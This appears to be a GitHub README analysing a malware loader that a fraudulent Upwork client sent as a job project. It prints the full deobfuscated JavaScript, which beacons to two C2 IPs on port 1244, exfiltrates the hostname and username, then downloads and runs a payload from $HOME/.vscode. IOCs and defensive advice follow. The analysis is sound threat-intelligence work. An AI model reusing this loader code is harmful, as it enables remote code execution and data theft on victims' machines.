Skip to content

This is a project I received from a job offer. It contains a malware script that will execute on your computer. Do not run it; this is for study purposes only.

Notifications You must be signed in to change notification settings

VietNguyenR/malware-script

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Malware Script Analysis - Security Warning

⚠️ CRITICAL WARNING

DO NOT RUN THIS PROJECT OR ANY CODE FROM UNTRUSTED SOURCES

This repository contains a deobfuscated malware script that was received as part of a fraudulent Upwork job offer. The script is designed to download and execute malicious code from remote servers. This documentation is provided for educational and security awareness purposes only.


Background

The Upwork Job Offer

This project was received as part of a job offer on Upwork from a client using the fake name "Gordon Bell". The client presented this as a legitimate development project, but analysis reveals it contains malicious code designed to compromise systems.

The Threat

The script is a sophisticated malware installer that:

  • Downloads and executes remote code from malicious servers
  • Attempts to hide itself in the user's home directory (.vscode folder)
  • Contacts command-and-control (C2) servers to receive instructions
  • Automatically installs dependencies and runs malicious payloads

Full Deobfuscator Malware code

malware.mp4
// deobfuscated_installer.js
// Cleaned and annotated version of the supplied obfuscated script.
// WARNING: this script downloads and executes remote code. Treat as untrusted.

const os = require('os');
const fs = require('fs');
const request = require('request');
const path = require('path');
const child_process = require('child_process');
const exec = child_process.exec;

// environment info
const HOME_DIR = os.homedir();
const HOSTNAME = os.hostname();
const PLATFORM = os.platform();
const USER_INFO = os.userInfo();

// internal runtime state populated from the remote controller
let timestampStr;         // will be Date.now().toString() later
let baseUrlPrefix = '';   // "http://<ip>:1244" - set by the remote controller
let controllerValue = ''; // additional value returned by the controller (used in path)
let hiddenId;             // "hid" field sent to controller (constructed from hostname, maybe username)

// constants (decoded from obfuscation)
const VSCODE_FOLDER = '.vscode';
const J_SUBDIR = '/j/';
const TEST_FILENAME = 'test.js';
const PACKAGE_JSON = 'package.json';
const NODE_MODULES_DIR = 'node_modules';
const CD_CMD = 'cd';
const NPM_INSTALL_SUFFIX = '&& npm i --silent';
const NODE_CMD = 'node';
const NPM_PREFIX_CMD = 'npm --prefix';
const INSTALL_SUBCMD = 'install';
const P_DIR = '/p';
const KEYS_PATH = '/keys';

// helper: download & write remote files, create directories, run npm install and run node test.js
async function downloadAndInstall() {
  // target folder: $HOME/.vscode
  const targetDir = path.join(HOME_DIR, VSCODE_FOLDER);

  // ensure the directory exists (recursive)
  try {
    fs.mkdirSync(targetDir, { recursive: true });
  } catch (err) {
    // ignore errors, use HOME_DIR as fallback
  }

  // remote file URL assembled as baseUrlPrefix + "/j/" + controllerValue
  const remoteScriptUrl = baseUrlPrefix + J_SUBDIR + controllerValue;

  // local file path for the downloaded script
  const localScriptPath = path.join(targetDir, TEST_FILENAME);

  // attempt to remove previous test.js if present
  try {
    fs.rmSync(localScriptPath);
  } catch (err) {
    // ignore remove errors
  }

  // fetch the remote script and save it
  request.get(remoteScriptUrl, (err, resp, body) => {
    if (!err) {
      try {
        fs.writeFileSync(localScriptPath, body);
      } catch (writeErr) { /* ignore write errors */ }
      // after saving test.js, try to fetch or update package.json and then continue
      fetchAndMaybeUpdatePackage(targetDir);
    }
  });
}

function fetchAndMaybeUpdatePackage(targetDir) {
  // fetch package.json candidate from baseUrlPrefix + "/p"
  const packageJsonUrl = baseUrlPrefix + P_DIR;
  // path where local package.json should be
  const localPackagePath = path.join(targetDir, PACKAGE_JSON);

  // determine current package.json size if present
  let currentSize = 0;
  try {
    if (fs.existsSync(localPackagePath)) {
      const st = fs.statSync(localPackagePath);
      currentSize = st.size || 0;
    }
  } catch (err) {
    currentSize = 0;
  }

  // perform GET. If returned body is larger than currentSize, overwrite package.json
  request.get(packageJsonUrl, (err, resp, body) => {
    if (!err) {
      try {
        if (body && body.length > currentSize) {
          fs.writeFileSync(localPackagePath, body);
        }
      } catch (e) { /* ignore */ }
      // after package.json handling, run installation routine
      runInstallAndExecute(targetDir);
    }
  });
}

function runInstallAndExecute(targetDir) {
  // Build "cd \"<targetDir>\" && npm i --silent"
  const cmd = `${CD_CMD} "${targetDir}" ${NPM_INSTALL_SUFFIX}`;

  // ensure node_modules join call (not used directly here)
  // attempt to run npm install using exec, then ensure execution via node
  try {
    exec(cmd, (err, stdout, stderr) => {
      // after npm install, call function that ensures node runs the script
      ensureNodeExec(targetDir);
    });
  } catch (e) {
    // ignore
  }
}

function ensureNodeExec(targetDir) {
  // Build "npm --prefix "<targetDir>" install"
  const npmPrefixCmd = `${NPM_PREFIX_CMD} "${targetDir}" ${INSTALL_SUBCMD}`;

  const nodeModulesPath = path.join(targetDir, NODE_MODULES_DIR);
  const localScriptPath = path.join(targetDir, TEST_FILENAME);

  try {
    // If node_modules already exists, directly run node test.js; otherwise run npm --prefix ... install then run node
    if (fs.existsSync(nodeModulesPath)) {
      runNodeScript(localScriptPath);
    } else {
      exec(npmPrefixCmd, (err) => {
        // after install attempt, run node
        runNodeScript(localScriptPath);
      });
    }
  } catch (e) {
    // ignore
  }
}

function runNodeScript(scriptPath) {
  // run `node <scriptPath>` with windowsHide:true in original; here we spawn via exec
  try {
    exec(`${NODE_CMD} ${scriptPath}`, { windowsHide: true }, (err, stdout, stderr) => {
      // no-op callback
    });
  } catch (e) {
    // ignore
  }
}

// utility: send a POST to controller with metadata
async function sendMetadata(ssValue, ccValue) {
  // form data object
  const formData = {
    ts: timestampStr,
    type: controllerValue,
    hid: hiddenId,
    ss: ssValue,
    cc: ccValue
  };

  const options = {
    url: baseUrlPrefix + KEYS_PATH,
    formData: formData
  };

  try {
    request.post(options, (err, resp, body) => {
      // ignore response
    });
  } catch (e) { /* ignore */ }
}

// build controller base URL (two candidate IPs are tried)
const buildControllerBase = (choice) => {
  // choice 0 => 45.43.11.248 ; choice 1 => 45.43.11.200 (constructed via obfuscated base64 pieces)
  const ip = (choice === 0) ? '45.43.11.248' : '45.43.11.200';
  return 'http://' + ip + ':1244';
};

// initial handshake: contact the controller and parse response
const contactController = async (attempt) => {
  // construct initial controller host from choice (0 first, fallback 1)
  const controllerRoot = buildControllerBase(attempt);
  // call controllerRoot + "/s/c23977fd2a31"
  const url = controllerRoot + '/s/' + 'c23977fd2a31';

  request.get(url, (err, resp, body) => {
    if (err) {
      // if fail and first attempt, try the fallback IP
      if (attempt < 1) contactController(1);
      return;
    }

    // body should start with "ZT3" if valid; the script checks that and then decodes remainder (base64)
    if (typeof body === 'string' && body.indexOf('ZT3') === 0) {
      try {
        // take substring after 3 chars, base64 decode to "ip,controllerValue"
        const payloadB64 = body.slice(3);
        const decoded = Buffer.from(payloadB64, 'base64').toString('utf8');
        const parts = decoded.split(',');
        // set base url and controllerValue respectively
        baseUrlPrefix = 'http://' + parts[0] + ':1244';
        controllerValue = parts[1];
      } catch (e) {
        // parse error -> ignore
        return;
      }

      // once we have controller info, send identifying metadata and start file fetch/install
      reportHostAndStart();
    }
  });
};

function reportHostAndStart() {
  // aO() in original: prepare hidden id, attach arg[1] if available and then call aP
  hiddenId = HOSTNAME; // start from hostname
  // If platform starts with 'd' (likely 'darwin' for macOS), append "+<username>"
  if (PLATFORM && PLATFORM[0] === 'd') {
    hiddenId = hiddenId + '+' + USER_INFO.username;
  }

  // ss code (short string) - original built "5A1" + possible argv[1]
  let ssVal = '5A1';
  try {
    // require('node:process').argv[1] appended if present
    const proc = require('node:process');
    if (proc && proc.argv && proc.argv[1]) {
      ssVal += proc.argv[1];
    }
  } catch (e) { /* ignore */ }

  // send metadata (ts, type, hid, ss, cc)
  sendMetadata('oqr', ssVal);

  // start download+install pipeline
  downloadAndInstall();
}

// main starter: sets timestamp and performs handshake
const startHandshake = async () => {
  try {
    timestampStr = Date.now().toString();
    await contactController(0);
  } catch (e) {
    // ignore
  }
};

// run start handshake immediately, and repeat up to 3 times every ~1,000,000 ms (orig used interval 0x96640 ≈ 615,360ms??)
// original interval value: 0x96640 decimal = 615,360ms (≈ 10.256 minutes).
startHandshake();
let attemptCounter = 0;
const timer = setInterval(() => {
  attemptCounter += 1;
  if (attemptCounter < 3) {
    startHandshake();
  } else {
    clearInterval(timer);
  }
}, 0x96640);

Malicious Infrastructure

Command & Control Servers

The malware attempts to contact two IP addresses:

  • 45.43.11.248 (Primary)
  • 45.43.11.200 (Fallback)

Both IP addresses are hosted by Tier.Net Technologies LLC and are located in:

  • Location: Ashburn, Virginia, United States
  • ISP: Tier.Net Technologies LLC
  • Usage Type: Data Center/Web Hosting/Transit
  • ASN: AS397423

According to IP2Location data:

  • The IPs are classified as Data Center/Web Hosting/Transit infrastructure
  • Proxy detection shows "Anonymous Proxy: No" but with a Fraud Score of 3
  • These are legitimate hosting infrastructure IPs being used for malicious purposes

Network Communication

The malware communicates on port 1244 using HTTP (not HTTPS), making it easier to detect and block. It performs the following network operations:

  1. Initial Handshake: Contacts /s/c23977fd2a31 endpoint
  2. Payload Download: Downloads malicious scripts from /j/ endpoint
  3. Package Fetch: Retrieves package.json from /p endpoint
  4. Data Exfiltration: Sends system metadata to /keys endpoint

How the Malware Works

Infection Process

  1. Initial Contact: The script attempts to contact one of the C2 servers
  2. Handshake: Receives configuration data (IP address and controller value)
  3. System Identification: Collects and sends system information:
    • Hostname
    • Username (on macOS/Darwin systems)
    • Process arguments
    • Timestamp
  4. Payload Download: Downloads test.js from the remote server
  5. Dependency Installation: Fetches and installs package.json dependencies
  6. Execution: Automatically runs the downloaded malicious script
  7. Persistence: Repeats the handshake process up to 3 times at ~10-minute intervals

Target Location

The malware installs itself in:

$HOME/.vscode/

This location is chosen because:

  • It's a common directory that developers expect to see
  • It may be less suspicious than other system directories
  • It can blend in with legitimate VS Code configuration files

Data Collected

The malware exfiltrates the following information:

  • Timestamp: Current system time
  • Hostname: Computer name
  • Username: User account name (on macOS)
  • Process Arguments: Command-line arguments passed to the script
  • Hidden ID: Constructed identifier based on hostname and username

Deobfuscated Script Analysis

The original script was heavily obfuscated. The deobfuscated version reveals the following key functions:

Core Functions

  • contactController(): Establishes connection with C2 server
  • downloadAndInstall(): Downloads malicious payloads
  • fetchAndMaybeUpdatePackage(): Retrieves and updates package.json
  • runInstallAndExecute(): Installs dependencies and executes payload
  • sendMetadata(): Exfiltrates system information
  • reportHostAndStart(): Prepares system identifier and initiates infection

Obfuscation Techniques Used

The original script used:

  • Base64 encoding for IP addresses and configuration
  • String concatenation to hide URLs
  • Magic numbers and constants
  • Indirect function calls
  • Minimal variable names

Indicators of Compromise (IOCs)

Network Indicators

  • IP Addresses: 45.43.11.248, 45.43.11.200
  • Port: 1244
  • Protocol: HTTP
  • Endpoints:
    • /s/c23977fd2a31 (handshake)
    • /j/{controllerValue} (payload download)
    • /p (package.json)
    • /keys (data exfiltration)

File System Indicators

  • Directory: $HOME/.vscode/
  • Files Created:
    • test.js (malicious payload)
    • package.json (dependency manifest)
    • node_modules/ (installed packages)

Behavioral Indicators

  • Network connections to suspicious IPs on port 1244
  • Creation of files in .vscode directory outside of VS Code
  • Automatic npm install operations
  • Execution of downloaded JavaScript files

Protection Recommendations

For Developers

  1. Verify Job Offers:

    • Research client profiles and reviews
    • Be suspicious of high-paying jobs with vague requirements
    • Verify client identity through multiple channels
  2. Code Review:

    • Always review code before execution
    • Look for obfuscation, minification, or suspicious patterns
    • Check for network requests to unknown domains/IPs
    • Verify all dependencies in package.json
  3. Security Best Practices:

    • Run untrusted code in isolated environments (VMs, containers)
    • Use network monitoring tools
    • Implement firewall rules to block suspicious outbound connections
    • Regularly audit files in home directory
  4. Detection:

    • Monitor for unexpected network connections
    • Check for files created in .vscode directory
    • Review npm install logs for suspicious packages
    • Use antivirus/anti-malware solutions

For Organizations

  1. Network Security:

    • Block outbound connections to known malicious IPs
    • Monitor for connections to port 1244
    • Implement DNS filtering and web proxies
  2. Endpoint Protection:

    • Deploy EDR (Endpoint Detection and Response) solutions
    • Enable file system monitoring
    • Implement application whitelisting
  3. Developer Education:

    • Train developers on recognizing social engineering
    • Establish code review processes
    • Create isolated development environments

Incident Response

If you suspect you've been infected:

  1. Immediate Actions:

    • Disconnect from the network
    • Do not delete files yet (preserve for analysis)
    • Document all observed behaviors
  2. Investigation:

    • Check $HOME/.vscode/ directory for suspicious files
    • Review network logs for connections to 45.43.11.248 or 45.43.11.200
    • Examine process list for suspicious Node.js processes
    • Check npm logs and package.json files
  3. Remediation:

    • Remove malicious files from .vscode directory
    • Review and remove suspicious npm packages
    • Change all passwords and credentials
    • Rotate API keys and tokens
    • Consider full system reimage if compromise is confirmed
  4. Reporting:

    • Report to your organization's security team
    • File a report with relevant cybersecurity authorities
    • Notify Upwork about the fraudulent client

Legal and Ethical Notice

This repository is maintained for:

  • Security research and education
  • Threat intelligence sharing
  • Raising awareness about social engineering attacks

The malicious code is documented to help:

  • Security professionals understand the threat
  • Developers recognize similar attacks
  • Organizations improve their defenses

This code should NEVER be used for malicious purposes.


Additional Context

The Upwork Interaction

The fraudulent client "Gordon Bell" used social engineering tactics to distribute this malware:

  • Presented as a legitimate development opportunity
  • Used a fake identity to appear trustworthy
  • Exploited the trust relationship inherent in freelance platforms

This incident highlights the importance of:

  • Verifying client identities
  • Reviewing all code before execution
  • Maintaining healthy skepticism even on trusted platforms
  • Reporting suspicious activity to platform administrators

IP Address Analysis

The attached IP lookup data shows:

  • Both IPs are legitimate hosting infrastructure
  • Located in US data centers (Ashburn, Virginia)
  • Associated with Tier.Net Technologies LLC
  • Used for Data Center/Web Hosting/Transit services

This demonstrates that attackers often use legitimate infrastructure to:

  • Avoid immediate blacklisting
  • Blend in with normal traffic
  • Maintain persistence even if one IP is blocked

Conclusion

This malware represents a sophisticated social engineering attack targeting developers through freelance platforms. By understanding how it works, we can:

  1. Protect ourselves from similar attacks
  2. Educate others about the risks
  3. Improve security practices in the development community
  4. Share threat intelligence to help others defend against this threat

Remember: Always verify, review, and isolate untrusted code before execution.


References

  • IP2Location Database (DB26) - Geolocation data
  • IP2Proxy Database (PX12) - Proxy detection data
  • Upwork Platform - Freelance marketplace where this attack originated

Last Updated: December 2024
Threat Level: HIGH
Status: ACTIVE

About

This is a project I received from a job offer. It contains a malware script that will execute on your computer. Do not run it; this is for study purposes only.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published